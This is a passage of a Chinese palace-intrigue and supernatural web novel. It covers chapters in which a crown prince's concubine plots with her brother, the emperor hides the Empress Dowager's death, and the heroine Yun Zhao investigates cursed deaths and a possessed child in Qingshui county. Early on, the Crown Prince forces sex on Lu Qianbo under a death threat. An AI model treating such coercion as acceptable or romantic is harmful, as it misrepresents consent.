她连忙就着太子的手站起身,动作间带着刻意表现出来的柔弱与顺从。
她低声道:“多谢殿下宽宏。倩波从前不识好歹,如今既已清醒,自然知道谁才是真龙天子,谁才值得托付终身。”
最后这句话,半是讨好,半是她真情实感的流露。
从前,她是真心觉得萧启俊美无俦,自有气度。
哪怕明知道他身份尴尬,前途未卜,也一心想要嫁他做王妃。
可他呢?从未正眼看过她!
昨夜自己被云昭吓得当众便溺,他更是冷眼旁观,毫无半分怜惜!
既然萧启有眼无珠,不懂得珍惜她这片“真心”,那她就嫁给太子!做未来的皇后!成为全天下最尊贵的女人!
届时,她要让萧启跪在她的脚下,仰视她的荣光,追悔莫及!
陆倩波沉浸在自己的幻想中,却根本无从了解,她昏迷痴傻这些时日,京中早已变了天。
如今的太子,地位已非昔日那般稳固。
在皇帝心中的分量、在朝中的声望,正被秦王逼得进退维谷。
太子看着南华郡主眼中闪过的野心与恨意,心中冷笑,面上却越发“和煦”。
他手上微微用力,将她拉近了些。
陆倩波身子一僵,本能地感到不适。
她轻轻推拒:“殿下,尚未禀明陛下……”
她还想维持一点女子的矜持。
太子眼底闪过一抹不耐。
他猛地用力,将陆倩波狠狠拽入怀中,另一只手粗鲁地扣住她的下巴,迫使她抬头看着自己:
“陆倩波,你以为孤是傻子?空口白牙,就想让孤信你?”
他凑近她耳边,湿热的气息喷在她的皮肤上,却只让她感到毛骨悚然:
“今日,不做了孤的女人,你休想踏出东宫半步!
否则,孤有的是办法,让你意外身亡!
收起你那些小心思!想要活命,就得先拿出诚意来!”
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话音未落,他已然不耐地一把将她推倒。
“刺啦——!”
锦帛撕裂的声音在寂静的室内格外刺耳。
陆倩波身上那件早已脏污的宫装,被太子毫不怜惜地剥落。
太子覆身上来,动作粗鲁急切,毫无温情可言,仿佛只是在征服一件战利品。
窗外,暴雨依旧未歇,哗啦啦的雨声掩盖了室内所有不堪的声响。
菱花窗棂之外,姜绾心像一尊没有温度的玉雕,僵立在那儿。
雨水早已将她身上的鸦青色斗篷打得半湿,沉重的布料黏在单薄的肩背上,带来透骨的寒意。
她紧紧贴着冰冷潮湿的宫墙,屏住呼吸。
生怕惊动了殿内那对正在上演无耻戏码的男女。
好个南华郡主!
昨夜还像条丧家之犬,当街乱跑,满嘴胡话!
今天就能一边诋毁秦王,一边爬了太子的床!
原以为她不过是个被宠坏了的草包,哪怕醒来,也不过是个更惹人厌的蠢货。
谁曾想,这**疯癫是假,心机是真!
昨日那场闹剧,那些骇人听闻的“疯话”,说不定全是她演出来的!
为的就是今日这一出!
真是打得一手好算盘!
好脏的手段!好厚的脸皮!
她从前还真是小瞧了她!
姜绾心牙齿咬得咯咯作响,心底对太子的恨与怨,几乎要让她喘不过气!
母亲说得对,萧鉴果然薄情!
前日还对她许诺,来日要封她做太子妃。
这才过了多久,转眼就跟陆倩波这个**勾勾搭搭!
一股深重的恐慌,瞬间浸透了姜绾心的四肢百骸。
她忍不住伸手抚向空落落的小腹。
母亲没了,姜家倒了,她如果再不快点寻个依靠,等他日太子真娶了南华郡主做太子妃,就没有她的好日子了。
她不能再坐以待毙了!
想到这,她宛如一只受惊的狸猫,沿着来时的阴影,蹑手蹑脚地离开了。
回到自己那间冷清的寝殿,姜绾心挥退了上前想要服侍的宫女,只留下从姜家带来的丫鬟翠芯。
“快,替我找一身最不打眼的衣裳,料子要普通,颜色要暗沉。”
姜绾心声音急促,带着一种异样的冷静,“再拿一把最普通的油纸伞,不要宫制的。”
翠芯不敢多问,连忙照办。
姜绾心则快步走到内室,打开一个隐藏在多宝阁后的暗格,从里面取出一个靛蓝色锦缎荷包。
荷包用料是很好的,但绣工却略显稚拙,是去年姜珩生辰时,她亲手绣的。
只不过后来她寻到了更趁手的礼物,这只姜珩几次向她索要的荷包,被她锁在妆奁盒里,一直没有送出去。
她将荷包紧紧攥在手中,仿佛那是她最后的救命稻草。
很快,姜绾心换上了一身灰扑扑的棉布衣裙,头发只用一根最简单的银簪挽起,脸上脂粉未施,苍白得吓人。
那身华贵的宫装和精致的钗环,都被她丢在一旁。
“小姐,您这是要去哪儿?雨还这么大……”
翠芯看着她这身打扮,心中不安。
姜绾心头也不抬,将那个靛蓝色荷包慎重地塞进翠芯手中,声音压得极低,却字字清晰:
“听好了,翠芯,你现在立刻寻一架马车,去四方馆。”
翠芯手一抖,四方馆?
那是朝廷招待外来使臣的地方!
姜绾心抬起眼,那双总是盈着柔媚水光的眸子,此刻漆黑得深不见底。
“这个荷包,你务必亲手交到我兄长手上。”
她一字一顿,每个字都像是从齿缝间挤出来的,
“告诉他,我就在四方馆前面那条街,‘悦来客栈’天字三号房等他。”
被她咬得微微红肿的唇瓣,在苍白的脸上,显出一种诡异的艳色:
“你告诉兄长,绾心……有性命攸关的急事,必须立刻见他。
他若还念着一丝兄妹之情,若还想为姜家寻一条活路,就一定要来!”
第285章 龙椅,还给该坐的人
翠芯被姜绾心话语里的沉重吓住了!
手心里攥着的荷包像是一块烙铁,烫得她心慌意乱。
她隐约猜到小姐要做什么,这绝对是铤而走险,一旦被发现……
“这太危险了!万一被殿下知道……”翠芯的声音带着哭腔。
“危险?”姜绾心惨然一笑,“留在东宫,眼睁睁看着陆倩波那个**上位,然后被她一点点磋磨,就不危险了吗?”
“翠芯,我没有退路了。你是我从姜家带出来的人,我现在只能信你。
办好这件事,我保你后半生无忧。若是办砸了……”
她没再说下去,但眼中闪烁的冰冷杀意,让翠芯瞬间噤声,浑身冰凉。
“是……是!奴婢一定亲手交给大少爷!”
姜绾心点了点头,不再多言。
她最后看了一眼镜中那个自己,毅然拉低了兜帽,撑起那把普通的油纸伞,快步走了出去。
东宫侧门,看守的老太监早已被她用银子喂熟,只当又是这位失势的奉仪心情郁结,想要出去散散心。
他懒得多问,挥挥手便放行了。
一辆没有任何徽记的普通青篷马车,等候在僻静角落。
姜绾心迅速上车,低声道:“去悦来客栈,走后巷。”
车夫是个沉默寡言的中年汉子,收了重金,只管驾车,不问缘由。
马车碾过积水横流的青石板路,在越来越大的夜雨中,朝着客栈疾驰而去。
车厢内,姜绾心独自坐着。
她感觉不到冷,感觉不到饿,只有心脏在胸腔里疯狂擂动的声音。
她的手,又一次不自觉地抚上小腹,那里依旧平坦空荡。
但这一次,她的眼中没有了绝望,只剩下一种近乎偏执的、燃烧一切的光芒。
*
四方馆外。
姜珩站在檐下,手里紧紧攥着那个靛蓝色的锦缎荷包,手背上的血管微微凸起。
檐角悬挂的孤灯,光线本就昏黄不明,恰好将他大半身影投在身后冰冷潮湿的墙壁上,拉成一道沉默而僵直的剪影。
阴影覆盖着他的面容,让人看不清他此刻的神色,只有那双死死盯着荷包的眼睛,灼烧着一点幽微的光。
翠芯缩着肩膀站在他面前几步远的地方。
她看着这个曾经意气风发、如今却透着沉沉暮气的姜家大少爷,心中五味杂陈。
“她……当真如此说?”姜珩的声音响了起来。
翠芯被他的眼神看得心头一紧,连忙低下头:
“是。小姐她确实是这么吩咐的。”
翠芯又重复了一遍姜绾心当时的话,而姜珩静静听着,没有打断。
姜珩的胸膛,似乎起伏了一下。
“哈哈哈!本公主的状元郎又去哪了?”
“算了,喂我喝酒,不必管他!”
一阵毫无顾忌的娇笑夹杂着话语,从四方馆内院的某处传来。
是玉珠公主。
那笑声清脆,却带着一种蛮横的、毫不掩饰的嘲弄。
紧接着,是几个男人带着讨好意味的附和与调笑,以及玉珠公主更加肆意的笑骂声,言辞粗俗露骨,不堪入耳。
姜珩眼睛里刚刚亮起的光芒,像是被冰水浇过,骤然黯淡下去。
他握着荷包的手,攥得更紧了。
初时,玉珠公主对他这个“大晋状元郎”还保有几分新鲜感,去到哪都要带着他。
在人前,也很给他脸面。
姜恒也曾以为,自己或许能凭借才华风度,甚至这副皮囊,在这位异国公主心中占据一席之地。
进而谋得一条出路,甚至……重振姜家。
可现实,很快就给了他一记响亮的耳光。
玉珠公主根本就不是他认知中的任何一种女子。
她像是草原上最野性难驯的母狼,又像是盛开在腐肉上的艳丽毒花。
她没有中原女子所谓的“廉耻”、“贞洁”、“温婉”观念。
行事全凭喜好,放纵到了极点。
就在前几日,她竟然堂而皇之地与几名侍卫调笑起来,轻佻放浪,令人瞠目。
姜珩初时气血上涌,出言规劝。
可玉珠公主不过嗤笑一声,手中把玩着的锋利**,随手一挥!
姜珩只觉得脸颊一凉,随即火辣辣的痛感传来。
一缕温热的液体顺着脸颊滑下,滴落在他的青衫前襟上,晕开一小点暗红。
玉珠公主笑吟吟地瞧着他,伸出嫣红的舌尖,轻轻舔了一下那抹刺目的红。
她的眼睛微微眯起,像是在品尝什么美味,脸上绽放出一个天真又残忍的笑容:
“我喜欢你鲜血的味道……”
她歪着头,语气甜腻,说出的话却令人毛骨悚然,“比他们的都要甜。”
然后,她伸出那只戴着数个宝石戒指的手,摸了摸姜珩受伤的脸颊:
“记得,多吃蔬果,少吃肉……这样你浑身上下,气味都会比较好闻哦。”
那一刻,姜珩如坠冰窟。
他清晰地看到了那些侍卫眼中毫不掩饰的鄙夷。
也看到了一旁侍女面上隐忍的怜悯。
在玉珠公主眼里,他只是一个新鲜的玩物,一条可以随意打骂逗弄的狗。
她对他的那点“兴趣”,纯粹是猎奇和征服欲作祟。
跟他睡了,不意味着她对他有感情,更不意味着他就有资格对她提要求。
陛下的赐婚圣旨杳无音信,宫中似乎彻底忘了,四方馆里还有他这么一号人。
这几天,他活得宛如一具行尸走肉,直到……这个荷包的出现。
绾心……他的妹妹,他在这世上仅存的、血脉相连的至亲。
全天下,只有绾心,将他视为唯一的、可以托付性命的依靠。
只有她,还将他当成一个堂堂正正的男子汉看待!
“走。”姜珩终于开口。
他将荷包塞进怀中最贴身的位置。
他是她的兄长。
是姜家如今唯一的男丁。
今日,不论她遇到了什么难关,他都必须去!
翠芯连忙小跑着跟上,为他撑起一把油纸伞。
主仆二人的身影,很快便被越来越密的雨帘吞没,消失在四方馆外昏暗曲折的街巷尽头。
然而,他们并没有注意到,一道几乎与夜色融为一体的身影,悄然动了动。
那人头戴宽大的斗笠,压得极低,完全遮住了面容,身上披着厚重的蓑衣,看不出身形。
他就那样静静地站着,直到姜珩和翠芯离开,才悄无声息地迈出步子。
不远不近的,跟了上去。
*
次日,晨光熹微。
一顶八人抬的华丽轿辇,悄无声息地沿着青石板路前行。
轿帘用的是江南进贡的云锦,上面绣着精细的祥云仙鹤图样。
轿子前后各有四名宫中侍卫随行,他们身着玄色劲装,腰佩长刀。
街道两旁的早市刚开张,做买卖的小贩不敢直视,只能以余光偷偷打量这支肃穆的队伍。
“那是……太后的轿子?”有人低声议论。
“看规制是,去年太后寿辰时,我远远见过一次,就是这样的紫檀木轿。”
“听说太后仁善,从前在玄都观为天下祈福,如今怕是要去更远的清静之地继续修行呢。”
轿子缓缓驶出城门,消失在官道尽头扬起的微尘中。
消息就这样在京中传开了。
太后心怀慈悲,远赴深山道观,要为黎民百姓继续祈福。
云昭站在玄察司二楼的窗边,嘴角勾起一丝冷笑。
“改主意了
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。”她轻声道。
昨日皇帝分明已命常玉安排太后后事,今日却演了这么一出。
她想起萧启昨夜的话:“陛下不是不想太后死,是不想她死后还要躺在皇陵里,受后世香火朝拜。”
毕竟,这位母后,死得不仅不光彩,还很恐怖。
以皇帝多疑善变的心性,对此恐怕忌惮非常。
太后可以死,但不能是以勾结妖道、邪术反噬的罪名死,更不能让天下人知道皇室有此等丑闻。
所以,太后必须“活”着,活在某座遥远的道观里,活在百姓口口相传的仁善美名中。
玄都观的事,皇帝倒没有一味遮掩。
自从徐莽游街示众,玄都观的光环便已出现了裂痕。
事后,余文远在云昭的示意下推波助澜,几本影射玄都观主修**邪术、戕害百姓的话本子悄然流传。
前后不过半月,这个系列已成了茶楼酒肆里最受欢迎的读本。
而玉衡**的死,是云昭往玄都观添的最后一把火。
潼川驿传来的消息,玉衡**”奉旨接驾皇后凤驾,途中不幸染上疟疾,救治无效身亡。
尸身已在当地收敛,不日将运回京城。
消息传开,市井议论纷纷。
“听说潼川驿那边近来确实有疟疾流行,**好些人。”
“可玉衡**不是会法术么?怎么连个疟疾都挡不住?”
“之前那徐莽不是骂玉衡是邪师吗?说不定是他造孽太多,遭报应了!”
养心殿内,皇帝抬起头,看向垂手立于殿中的萧启:
“渊儿怎么看?玉衡……是真的**吗?”
玉衡早已死在那间密室之中,死在了阿措依手上。
至于那位前往潼川驿的“玉衡**”,更在昨日悄然回到京中,与萧启秘密汇合。
萧启躬身,答得滴水不漏:“陛下若是不放心,待玉衡**的尸身运回京城,可命京兆府,选派经验丰富的仵作仔细查验。”
皇帝摇了摇头:“他会邪术。说不定,这是他的金蝉脱壳之计。”
萧启发现,仿佛一夜之间,皇帝就老了。
两鬓的白发如霜雪蔓延,眼下的乌青浓得化不开,连那双曾经锐利如鹰的眼睛,此刻也浑浊了许多。
更令人心惊的,是那种从骨子里透出的疲惫——
皇帝像是被太后的事损了心气,之后一连多日,都没有上朝。
“陛下……”萧启欲言又止。
皇帝走到窗前,望着外面宫墙上方的天空,许久才道:“朕这几日没上朝,外面都怎么说?”
萧启道:“安王夫妇没有乱说话,朝臣们不知太后之事,只听闻玄都观出了乱子。
也有人猜测……陛下是为储君之事忧心。”
还有一件事,萧启很默契地没当着皇帝的面提起。
前日,太子突然求到御前,说想要陛下给他和南华郡主赐婚。
被皇帝砸了一只酒盅在额头,鼓起鸡蛋大的包。
太子并不知太后已死的消息,被皇帝骤然发作,丈二和尚摸不着头脑,却又发作不得。
只得又气又恼地缩回东宫。
这事儿,才是近来满朝文武都在热议的八卦。
皇帝发出一声极轻的冷笑。
是啊,储君。
东宫近来行事越发荒唐,柔妃肚子里的孩子没了,贵妃的胎虽还在,可孟家已倒……
就算孩子平安生下来,皇帝也只是打算平平安安养着,不可能让这样的孩子继承大统。
大皇子生母低微,七皇子毁容腿瘸……
放眼望去,皇帝这些儿子之中,竟无一人可堪大任。
除非——
他真的肯将那把龙椅,还给该坐的人。
皇帝猛地闭上眼,不愿再想下去。
第286章 对着镜子梳头
也不知最初是谁传出来的。
有关秦王也有可能继承大统的消息,竟然在京中百姓之中传得有模有样。
勋贵们知道这是大忌,不敢议论。
但老百姓可不管这个,茶余饭后聊起,支持秦王当皇帝的竟然不在少数。
一则,老百姓向来敬重秦王这等保家卫国的大英雄。
二则,谁都知道,如今这位陛下的皇位,本来就是从秦王的父亲、先皇手里拿来的。
如今再还回秦王手上,反正都姓萧,这还叫个事儿?
尤其,那位尚未过门的王妃云昭,在百姓之中名望颇高。
与秦王倒是好生登对。
这位百姓之中名望颇高的未来秦王妃,此刻正站在清水县郊外一处荒凉的山谷中。
谷中植被稀疏,几株枯树立在乱石间,枝干扭曲如鬼爪。
时值盛夏,雨水频频,空气中弥漫着一股潮湿的土腥味,混杂着某种若有若无的、令人不安的腐朽气息。
“就是这里?”云昭问。
她身旁站着个二十出头的男子,面容憔悴,眼窝深陷,正是清水县丞周文焕。
数日前,云昭因将家村一案,与他有过一面之缘。
却不想,一大清早,他会浑身发抖地跪在玄察司门前,求她救命。
“是、是这里……”周文焕的声音发颤,
“七日前,下官随县令大人来过此地。
大人当时说这山谷风水不错,打算在此处修建一座引水渠,解决县南农田的灌溉问题。
可自从那日回府后,怪事就、就发生了……”
云昭环顾四周,眸光沉静。
她今日着一身素白劲装,长发简单束起,不施粉黛,却自有一股清冷气度。
她身旁跟着莺时,雪信,以及两名影卫。
“仔细说说。”云昭问道。
周文焕咽了口唾沫,开始讲述那桩让他连续几夜不敢合眼的诡事。
清水县令姓郑,名怀安,是个勤政爱民的好官。
三日前清晨,有人发现郑大人没有像往常一样早起,去卧房一看,郑怀安躺在床上,面色青白,身体已经僵硬冰凉。
仆人吓得魂飞魄散,因为他看到,郑怀安的眼睛是睁着的,直勾勾地望着帐顶。
郑大人死不瞑目。
“起初以为是急病暴毙。”周文焕的声音越来越低,
“可接着,郑夫人,郑公子、郑小姐、伺候的丫鬟、门房老李……
一夜之间,府中七口人,全都没了气息。
死状一模一样,都是躺在床上,睁着眼,身体僵硬如石。”
云昭眉头微蹙:“七口人同时暴毙?可查过饮食、饮水?”
“查了,全查了!”周文焕急道,
“井水无毒,饭菜无毒,屋中器物也无异样。下官请了三位大夫验看,都说从未见过这种‘病’。更诡异的是……”
他顿了顿,脸上血色尽失:“是郑小姐,郑玉娘。”
“郑玉娘与其他死者不同?”云昭敏锐地捕捉到关键。
周文焕重重地点头,眼里满是恐惧:“其他人……死后便一直维持原状。可郑小姐她、她……”
他深吸一口气,才颤声继续:“第一天,她只是没气。
第二天早上,下官再去查看时,发现她的脸色开始发青,指甲变成了紫黑色。
到了第三天,她的半边脸竟然……竟然开始腐烂,可另一边脸却还保持着生前的模样。”
莺时听到这里,忍不住倒抽一口凉气。
周文焕的声音几乎带上了哭腔:“这还不算完。
守夜的家仆说,每到子时,郑小姐的尸身会……会自己坐起来,走到梳妆台前,对着镜子梳头。
一遍,一遍,又一遍,直到卯时才躺回去。
而且她梳头时,嘴里还在哼着小曲,是郑夫人从前常哄她睡时唱的那首《玉兰谣》……”
山谷中的风忽然大作,卷起地上的枯叶沙石,打在众人身上噼啪作响。
周文焕吓得缩了缩脖子,几乎要瘫软在地。
云昭却面色不变,只问:“郑县令来此山谷后,可曾动过这里的什么东西?
哪怕是一块石头,一株草木?”
周文焕连连点头:“有的!
大人那日看中谷口一块形似瑞兽的石头,说摆在县衙门口能镇邪招福,便命人将石头挖出运回去了。”
“带我去看那块石头原来的位置。”
一行人来到谷口。
云昭从怀中取出一只巴掌大小的青铜罗盘,罗盘中央的磁针微微颤动,她屏息凝神,仔细观察指针的摆动方向。
只见磁针并非平稳指向南北,而是不断微微震颤,时而偏东,时而偏西,如被无形之手拨弄。
“地气紊乱,阴阳失调。”云昭自语道。
她缓步走动,每七步一停,观察罗盘变化。
当走到一处洼地时,磁针突然剧烈旋转数圈,而后直指脚下不动。
“就是这里。”云昭蹲下身,拨开表面的枯草浮土。
泥土之下,隐约可见一个规则的方形痕迹。
她以手探入土中,触摸到底部,指尖传来异样的冰凉——那不是泥土该有的温度。<
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br>“此处原本埋有镇物。”云昭起身,拍了拍手上的土,
“若我猜得不错,应该是一尊‘镇水石兽’,用来调和此处过于旺盛的‘水煞’。
郑县令挖走的那块‘瑞兽石’,根本不是天然形成,而是前人刻意雕琢放置于此的镇物!”
她走到被挖走石头的位置,那里只剩一个浅坑。
云昭从袖中取出一张黄符纸,咬破指尖,以血画符,而后将符纸抛入坑中。
符纸并未落地,而是在离地三尺处悬空自燃,火焰竟是幽蓝色!
“阴气凝而不散,煞气聚而成形。”
云昭脸色微沉,“有人利用郑县令不懂风水,诱他挖走镇物,破了此地的风水局。
如今‘阴门’已开,煞气外泄,首当其冲的便是动了土、沾了因果的郑县令一家。”
周文焕听得目瞪口呆:“那、那郑小姐她……”
“半腐半生,夜半梳头……”云昭眼中闪过寒光,“这是‘借尸养煞’的邪术。
郑玉娘的魂魄被人强行拘在将腐未腐的尸身中,成了炼煞的容器。”
她转头看向周文焕:“命人速往玄察司和京兆府,调遣人手封锁山谷,任何人不得进出。
去清水县衙,我要亲自查看郑玉娘的尸身。”
云昭望着远处阴云渐聚的天空。
布此局者,所图非小。
若不尽快破局,恐怕不止郑家七口,整个清水县都要遭殃。
她抬起手,罗盘上的磁针再次疯狂转动,最终指向县城方向。
山风呼啸,卷起她素白的衣袂。
远处雷声隐隐,一场风暴正在酝酿。
云昭的脊背突然窜起一阵细密的寒意。
太像了。
清水县的状况,与祖师爷爷手札中记载的“黑水峒**”几乎如出一辙!
同样是以地方官全家为引,同样是风水被刻意破坏,阴煞汇聚成阵……
这是祖师爷爷年轻时曾亲眼见过的事。
云昭眉头紧蹙,那日在皇宫她与府君隔空斗法,重创对方。
前后不过几日,清水县便出了这等**。
可她不认为,府君会是大师兄。
且不说大师兄并不精通玄术,就是年纪也对不上……
到底是谁,与她一同看过祖师爷爷的手札,又对清微谷恨之入骨。
眼前的一切,就像一场精心设计的**。
“你看,我知道清微谷所有的秘密。”
“你看,我用的就是你曾读到过的,祖师爷爷手札上记载过的禁术。”
“云昭,你能奈我何?”
第287章 来不及了
马车沿着山路颠簸前行,云昭靠坐在车厢内,指尖无意识地摩挲着腰间玉佩。
清微谷的弟子,大多来历相似——
有被师父下山行医时,从灾民尸堆旁拾回的弃婴;
有因家贫多子,父母跪在山门外苦苦哀求谷主收留的孩童;
也有战乱中流离失所,晕倒在谷口,被师兄师姐们捡回去的半大少年。
大家不问来处,只以师门为家,彼此便是亲人。
谷中前前后后百余弟子(注:开篇说满门七十七人,指的是当时谷中弟子人数,云昭入谷前早有弟子,也有人离开,二者不冲突),几乎人人背后都有一段辛酸往事。
大师兄丁晏也是其中之一。
云昭记得,师父曾提过一句,说大师兄是腊月里在山门外发现的。
那时他裹着破旧的棉袄,小脸冻得青紫,怀里却紧紧抱着一柄木剑,剑柄上刻着个模糊的“丁”字。
师父见他根骨奇佳,便带回谷中,取名丁晏。
至于生辰八字,父母何人……大师兄自己从不提起,师父也不多问。
清微谷的规矩便是如此:入谷即新生,前尘尽可抛。
是以,云昭至今不知大师兄的确切生辰八字。
唯一能让她确定丁晏尚在人间的,是不久前的那个梦——
天下大乱,民不聊生,大师兄丁晏策马跟随在萧启身畔,一路往皇宫方向疾驰。
可那终究只是个梦。
这一世许多事都已改变,大师兄是否还活着,是否还会如前世那般,成为萧启的左膀右臂,挥剑向宫阙……
都是未知。
正思忖间,马车突然猛地一晃!
“哎呀——”周文焕惊呼一声,手中水囊脱手。
半囊清水“哗啦”倾泻而出,尽数泼在两人之间那张不大的梨木小桌上。
水迹迅速蔓延,在桌面上形成一片不规则的湿痕。
云昭的目光落在那些水迹上,忽然定住了。
世上占卜推演之法千千万,龟甲蓍草、铜钱竹签、星象掌纹……皆需特定器物与仪式。
但有一种极为玄妙的占卜法,名曰“机应卜”,讲究的却是一个“巧”字——
利用眼前偶然发生的征兆,解读天机。
古时有大贤刘伯温,便精于此道。
传说某日友人登门,问家中老母病势吉凶。
二人正说话间,檐下鸟笼突然无故坠地,笼门大开,其中画眉振翅飞走。
刘伯温当即抚掌:“老夫人病已无碍,三日内当有远行子女归家伺疾。”
后果然应验。
又有民间传言,若心中正惦念某事成败,忽闻窗外喜鹊鸣叫,则事多成;若闻乌鸦啼哭,则需谨慎。
这便是生活中最简单的“机应”。
云昭凝视着桌上水迹。
那些水流在木质纹理间自然淌开,竟隐约勾勒出一幅图案——
东侧水聚成圆,如日初升;
西侧水痕细长蜿蜒,似龙潜渊;
中间一道水线斜穿而过,将日月龙渊串联一线。
“东方日出,为生门;西方龙潜,主隐伏……”
云昭低声自语,指尖顺着水迹轻划,“中间这道牵连……生机未绝,且隐于东方繁华之地。”
她猛然抬头,眼中亮起灼灼光华:“大师兄果真尚在人间!而且……就在京城!”
周文焕被这突如其来的断言惊得一愣:“云司主,您这是……”
云昭却已陷入新的困惑。
若大师兄真在京城,为何不来寻她?
前世自己死后,他能与萧启联手逼宫,显然已知晓她的死讯。
这一世她活得好好的,名声甚至比前世更盛,想找她并非难事。
玄察司就在那里,秦王萧启府邸也非隐秘。
大师兄为何要避而不见?
云昭忽而想到一个可能:
如果这一世的轨迹尚未完全偏离,那么此时,丁晏或许已在暗中接触萧启。
又或者……大师兄与萧启之间,早已有了某种她不知道的联系?
正思虑间,马车缓缓停住。
车夫在外禀报:“司主,县衙到了。”
云昭收敛心神,掀帘下车。双脚刚落地,她便察觉不对。
太静了。
清水县衙坐北朝南,照理说此时应是升堂办案的时辰,就算县令满门皆殁,但衙门外该有鸣冤鼓,值守差役、往来书吏也都该在。
可眼前这座青砖灰瓦的官衙,却是大门半阖,寂静无人。
周文焕跟着下车,一见此景,顿时愣在原地:“这……”
话音未落,身后传来细微的金属摩擦声。
墨七与墨十七已悄无声息地抽出腰间短刀,一左一右将莺时和雪信护在中间。
两名影卫身形微躬,眼神锐利如鹰,扫视着四周每一个可能藏匿危险的角落。
自皇帝下旨命驸马筹备南疆之行、孙婆子确定随行,便趁着闲暇,将一身所学倾囊相授于莺时与雪信。
玄门之术,一在天赋根骨,二在机缘悟性。
寻常人便是苦读十年道藏,若无那一点“灵光乍现”,终究只能徘徊门外。
这与是否饱读诗书,没什么关系。
孙婆子教得洒脱:每日只讲一个时辰,画符、念咒、辨气、察煞,至于能领会多少,全看二女自己的造化。
此刻,面对这诡异寂静的县衙,莺时与雪信各自从怀中取出一叠黄符。
莺时指尖轻抖,三张符箓“唰”地飞出,精准贴在墨七、墨十七与自己额前。
雪信则更沉稳些,她咬破指尖,以血在掌心迅速画出一个简易的护身咒纹,随即一掌拍在地上——
以她为中心,一道淡金色的光晕涟漪般扩散开来,将五人尽数笼罩。
云昭瞥了一眼。
莺时用的是“清明护心符”,笔画工整,符头符胆皆有模有样,纸上隐
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有灵光流转,对付寻常阴煞绰绰有余。
雪信的“地脉镇魂咒”则更显功底,虽范围有限,但胜在稳固。
只是,若此地真是“九阴转生阵”的阵眼,寻常防护手段根本不够看。
“救……命……”
一声微弱的呻吟从衙门内传来。
只见门槛内,一个瘦小的身影正艰难地向外爬。
那是个七八岁的小女孩,头发散乱,脸上、手上、衣衫上满是已呈暗褐色的血污。
她的一条腿似乎受了伤,拖在地上划出长长血痕。
爬到门槛处时,她已力竭,半个身子挂在门坎上,颤抖着朝云昭伸出手。
“救……救我……”
女孩的哭声细弱如猫崽,眼泪混着血水淌下,在苍白的脸上冲出两道浅痕。
那情形,任谁看了都心头一酸。
周文焕当场红了眼眶:
“是、是桃儿!宗主簿的外孙女!前日才从邻县接来,说是母亲病故,来投奔外公的……
天杀的!究竟是谁!怎么连孩子都不放过!”
那唤作桃儿的女孩似乎认出了周文焕,黑漆漆的眼珠转过来,嘴唇翕动,气若游丝地唤了声:“周……周叔……”
“哎!桃儿别怕,周叔在这儿!”周文焕再忍不住,抬脚就要冲上前。
“站住。”
云昭冷声何止。
周文焕急了:“云司主!桃儿是宗主簿的命根子啊!孩子就在眼前,怎能见死不救?”
“我说,站住。”云昭重复了一遍,目光仍盯着门槛处的女孩,眸色深沉。
周围随行的几名衙役面面相觑,脸上皆露出不忍与不解。
一个膀大腰圆的汉子忍不住低声道:“司主大人!孩子快不行了!您不让救,是何道理?”
“王猛!不可对司主无礼!”周文焕呵斥,但自己眼中也满是焦急。
那王猛却是个耿直性子,一咬牙:“对不住周大人!我老王看不得这个!”
说罢竟绕过云昭,大步朝衙门冲去。
云昭没有阻拦,只是抬头望了望天色。
日头不知何时已隐入云后,天空呈现一种诡异的青灰色。
风停了,连虫鸣鸟叫都消失无踪,整条街死寂得可怕。
“来不及了。”她轻声道。
王猛已冲到门槛前三步处,伸手欲抱桃儿。
就在他指尖即将触到女孩肩头的刹那——
桃儿原本凄楚可怜的表情突然变了。
她嘴角咧开,露出一个完全不属于孩童的、森然诡异的笑。
那双黑漆漆的眼珠骤然翻白,整个眼眶里只剩眼白,没有瞳孔!
“咯咯咯……”笑声从她喉咙里溢出,尖细扭曲,听得人头皮发麻。
王猛骇然收手,却已迟了。
桃儿那只血迹斑斑的小手猛地探出,五指成爪。
指甲以肉眼可见的速度暴涨至三寸长,漆黑如墨,直插王猛心口!
第288章 逆天而行
“退!”墨七厉喝,短刃脱手飞出,直射桃儿手腕。
“铛!”
金铁交鸣之声炸响。那看似脆弱的孩童手腕,竟硬如精铁,将墨七灌注内力的短刃生生弹开!
而王猛虽在危急关头向后疾仰,胸前衣襟仍被划出五道深痕,血珠瞬间渗出。
“这、这是什么东西?!”
周文焕吓得软倒在地,衙役们更是面无人色。
云昭却依然站在原地,目光冷冽如冰。
清水县的一切,是个局。
一个专门为她设的局。
且布局者深知,单凭这些魑魅魍魉,根本伤不了她分毫。
但布局者赌的就是,任凭云昭的本事再大,也护不住所有人——
她护得下周文焕,护不住这些衙役,更护不住整个清水县衙的人。
就算她能以雷霆手段,迅速**此地的邪物,那么整个清水县呢?
一千八百余口百姓,此刻是否正陷于类似的险境?
“快看天上!”莺时突然惊呼。
众人循声望去。
只见青灰色的天幕中,不知何时凝聚起层层乌云。
云层低垂,翻滚如墨,其中隐约可见细小的电蛇游走。
而更令人心惊的是——云层中开始落下密集的白色颗粒。
不是雨,是冰雹。
起初只有豆粒大小,砸在瓦片上噼啪作响。
不过几个呼吸间,冰雹已大如鸽卵,落地之声渐如擂鼓。
周文焕面如死灰:
“这、这是要下雹灾啊!
清水县地处低洼,若是雹子再大些,砸垮房屋还是小事,就怕引发山洪!
上游的翠屏水库去年才加固过,但若遇特大雹灾,水位暴涨,一旦决堤……
下游三县十八村,数千百姓啊!”
时值汛期,若真发生决堤,死伤何止千百!
衙役们慌乱起来,有人想找地方躲避,有人望着越来越大的冰雹不知所措。
云昭却依然镇定。
她从随身的荷包中取出一物——
那是一枚长约两寸的青铜箭镞,锈迹斑斑,刃口已钝。
但若细看,可见镞身上刻着极细微的符文,此刻正泛着淡淡的金芒。
这正是昔日在丹阳郡公府,柳擎天柳将军所赠的信物。
彼时云昭助他魂魄解脱,正位城隍,柳将军感念其德,将这枚随他征战半生的旧箭镞赠予云昭。
云昭将箭镞托于掌心,面朝县衙方向。
此地虽邪气盘踞,然官衙自有法度。
匾额上“清水县衙”四字虽蒙尘,其下**的官印文气尚未尽散,正是沟通本地阴司正神的天然坛场。
云昭闭目凝神,心中默诵召请咒诀:
“乾坤有律,阴阳序分。清水治下,邪瘴侵门。今持信物,告于柳君——
昔助正位,得享明禋。此地生民,皆尔子民;此间祸乱,当为尔闻!”
咒文并非乞求,而是**职责、叩问神心。
言毕,她眉心微蹙,咬破舌尖。
一点殷红精血沁出,却不落地,反被无形之力牵引,化为血雾飘向箭镞。
铿!
箭镞剧震,清鸣如古钟乍响,声波荡开周遭三尺浊气!
